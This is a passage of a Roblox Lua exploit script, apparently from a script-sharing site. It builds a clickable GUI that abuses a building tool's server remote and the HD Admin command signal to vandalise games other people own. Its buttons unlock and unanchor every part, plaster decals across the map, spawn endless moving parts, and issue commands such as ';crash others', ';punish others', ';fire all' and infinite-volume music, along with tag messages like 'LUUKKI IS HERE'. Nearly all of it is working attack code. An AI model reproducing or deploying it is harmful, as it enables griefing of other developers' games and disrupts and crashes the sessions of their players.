function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("83632141493364")
end)
end
coroutine.wrap(JGLNADH_fake_script)()
local function RQFB_fake_script() -- ImageButton_2.LocalScript
local script = Instance.new('LocalScript', ImageButton_2)
local button = script.Parent
button.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
local remote
-- Search player Backpack and character for the tool
for _, v in player.Backpack:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
break
end
end
if not tool and char then
for _, v in char:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
break
end
end
end
if not tool then
for _, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
break
end
end
end
if not tool then
warn("SyncAPI tool not found!")
return
end
remote = tool.SyncAPI.ServerEndpoint
local function _(args)
remote:InvokeServer(table.unpack(args))
end
local function SetCollision(part, boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
local function SetAnchor(boolean, part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
local function CreatePart(cf, parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
local function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
local function MovePart(part, cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
local function Resize(part, size, cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
local function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
local function SetMesh(part, meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://" .. meshid
}
}
}
_(args)
end
local function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://" .. texid
}
}
}
_(args)
end
local function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
local function MeshResize(part, size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
local function Weld(part1, part2, lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
local function SetLocked(part, boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
local function SetTrans(part, int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
local function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
local function SyncLighting(part, brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
local function Color(part, color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color,
["UnionColoring"] = false
}
}
}
_(args)
end
local function SpawnDecal(part, side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
local function AddDecal(part, asset, side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://" .. asset
}
}
}
_(args)
end
local function Sky(id)
local root = char:WaitForChild("HumanoidRootPart")
local spawnCF = root.CFrame + Vector3.new(0, 6, 0)
-- Snapshot existing parts before creating
local existingParts = {}
for _, v in workspace:GetChildren() do
existingParts[v] = true
end
CreatePart(spawnCF, workspace)
task.wait(0.3)
-- Find the newly added part
local skyPart
for _, v in workspace:GetChildren() do
if v:IsA("BasePart") and not existingParts[v] then
skyPart = v
break
end
end
if skyPart then
SetName(skyPart, "Sky")
AddMesh(skyPart)
SetMesh(skyPart, "111891702759441")
SetTexture(skyPart, id)
MeshResize(skyPart, Vector3.new(10000, 10000, 10000))
SetLocked(skyPart, true)
SetAnchor(true, skyPart)
else
warn("Sky part not found after creation!")
end
end
Sky("83632141493364")
--Please leave this credit
--Script made by Yaazkidd (I copy inspiration from blue2spooky wooo)
end)
end
coroutine.wrap(RQFB_fake_script)()
local function XHJSXPL_fake_script() -- ImageButton_3.LocalScript
local script = Instance.new('LocalScript', ImageButton_3)
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";sm we are luukki's")
end)
end
coroutine.wrap(XHJSXPL_fake_script)()
local function FAZSI_fake_script() -- ImageButton_4.LocalScript
local script = Instance.new('LocalScript', ImageButton_4)
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";sh LUUKKI IS HERE")
end)
end
coroutine.wrap(FAZSI_fake_script)()
local function FAHGPMB_fake_script() -- ImageButton_5.LocalScript
local script = Instance.new('LocalScript', ImageButton_5)
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";TITLE ALL luukki's")
end)
end
coroutine.wrap(FAHGPMB_fake_script)()
local function GIYAPX_fake_script() -- ImageButton_6.LocalScript
local script = Instance.new('LocalScript', ImageButton_6)
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";fire all")
end)
end
coroutine.wrap(GIYAPX_fake_script)()
local function XVVLI_fake_script() -- ImageButton_7.LocalScript
local script = Instance.new('LocalScript', ImageButton_7)
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";punish others")
RequestCommand:InvokeServer(";crash others")
end)
end
coroutine.wrap(XVVLI_fake_script)()
local function VQCBLMF_fake_script() -- ImageButton_8.LocalScript
local script = Instance.new('LocalScript', ImageButton_8)
local button = script.Parent
button.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Unanchor()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
SetAnchor(false,v)
end)
end
end
Unanchor()
end)
end
coroutine.wrap(VQCBLMF_fake_script)()
local function PXDXU_fake_script() -- ImageButton_9.LocalScript
local script = Instance.new('LocalScript', ImageButton_9)
local button = script.Parent
button.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
if not tool then return end
local remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function CreatePart(cf,parent)
_({"CreatePart","Normal",cf,parent})
end
function SetName(part,name)
_({"SetName",{part},name})
end
function Resize(part,size,cf)
_({"SyncResize",{{Part=part,CFrame=cf,Size=size}}})
end
function MovePart(part,cf)
_({"SyncMove",{{Part=part,CFrame=cf}}})
end
function SetLocked(part,boolean)
_({"SetLocked",{part},boolean})
end
function SetTrans(part,int)
_({"SyncMaterial",{{Part=part,Transparency=int}}})
end
function SpawnDecal(part,side)
_({"CreateTextures",{{Part=part,Face=side,TextureType="Decal"}}})
end
function AddDecal(part,asset,side)
_({"SyncTexture",{{Part=part,Face=side,TextureType="Decal",Texture="rbxassetid://83632141493364"}}})
end
while wait(0.1) do
spawn(function()
local e = char.HumanoidRootPart.CFrame.x + math.random(-100, 100)
local f = char.HumanoidRootPart.CFrame.y
local g = char.HumanoidRootPart.CFrame.z + math.random(-100, 100)
CreatePart(CFrame.new(math.floor(e), math.floor(f), math.floor(g)) + Vector3.new(0,6,0), workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
SetName(v,"particle")
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,decalId,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,decalId,Enum.NormalId.Back)
SetTrans(v,1)
Resize(v,Vector3.new(7,7,0.1),v.CFrame)
SetLocked(v,true)
while wait(0.01) do
MovePart(v,CFrame.new(v.CFrame.x,v.CFrame.y + 3,v.CFrame.z))
end
end
end
end)
end
end)
end
coroutine.wrap(PXDXU_fake_script)()
local function APNYCVP_fake_script() -- ImageButton_10.LocalScript
local script = Instance.new('LocalScript', ImageButton_10)
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";btools")
end)
end
coroutine.wrap(APNYCVP_fake_script)()
local function KIRODE_fake_script() -- ImageLabel.Smooth GUI Dragging
local script = Instance.new('LocalScript', ImageLabel)
local UserInputService = game:GetService("UserInputService")
local runService = (game:GetService("RunService"));
local gui = script.Parent
local dragging
local dragInput
local dragStart
local startPos
function Lerp(a, b, m)
return a + (b - a) * m
end;
local lastMousePos
local lastGoalPos
local DRAG_SPEED = (8); -- // The speed of the UI darg.
function Update(dt)
if not (startPos) then return end;
if not (dragging) and (lastGoalPos) then
gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, lastGoalPos.X.Offset, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, lastGoalPos.Y.Offset, dt * DRAG_SPEED))
return
end;
local delta = (lastMousePos - UserInputService:GetMouseLocation())
local xGoal = (startPos.X.Offset - delta.X);
local yGoal = (startPos.Y.Offset - delta.Y);
lastGoalPos = UDim2.new(startPos.X.Scale, xGoal, startPos.Y.Scale, yGoal)
gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, xGoal, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, yGoal, dt * DRAG_SPEED))
end;
gui.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = gui.Position
lastMousePos = UserInputService:GetMouseLocation()
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
gui.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
runService.Heartbeat:Connect(Update)
end
coroutine.wrap(KIRODE_fake_script)()
end)
end;
task.spawn(C_27);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_29()
local script = G2L["29"];
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";music 1839246711")
RequestCommand:InvokeServer(";volume inf")
end)
end;
task.spawn(C_29);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_2b()
local script = G2L["2b"];
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";btools")
end)
end;
task.spawn(C_2b);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_2e()
local script = G2L["2e"];
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";r6")
end)
end;
task.spawn(C_2e);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_30()
local script = G2L["30"];
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";respawn")
end)
end;
task.spawn(C_30);
-- StarterGui.ScreenGui.Frame.Smooth GUI Dragging
local function C_31()
local script = G2L["31"];
local UserInputService = game:GetService("UserInputService")
local runService = (game:GetService("RunService"));
local gui = script.Parent
local dragging
local dragInput
local dragStart
local startPos
function Lerp(a, b, m)
return a + (b - a) * m
end;
local lastMousePos
local lastGoalPos
local DRAG_SPEED = (8); -- // The speed of the UI darg.
function Update(dt)
if not (startPos) then return end;
if not (dragging) and (lastGoalPos) then
gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, lastGoalPos.X.Offset, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, lastGoalPos.Y.Offset, dt * DRAG_SPEED))
return
end;
local delta = (lastMousePos - UserInputService:GetMouseLocation())
local xGoal = (startPos.X.Offset - delta.X);
local yGoal = (startPos.Y.Offset - delta.Y);
lastGoalPos = UDim2.new(startPos.X.Scale, xGoal, startPos.Y.Scale, yGoal)
gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, xGoal, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, yGoal, dt * DRAG_SPEED))
end;
gui.InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
dragging = true
dragStart = input.Position
startPos = gui.Position
lastMousePos = UserInputService:GetMouseLocation()
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragging = false
end
end)
end
end)
gui.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
runService.Heartbeat:Connect(Update)
end;
task.spawn(C_31);
return G2L["1"], require;No comments yet for this script.



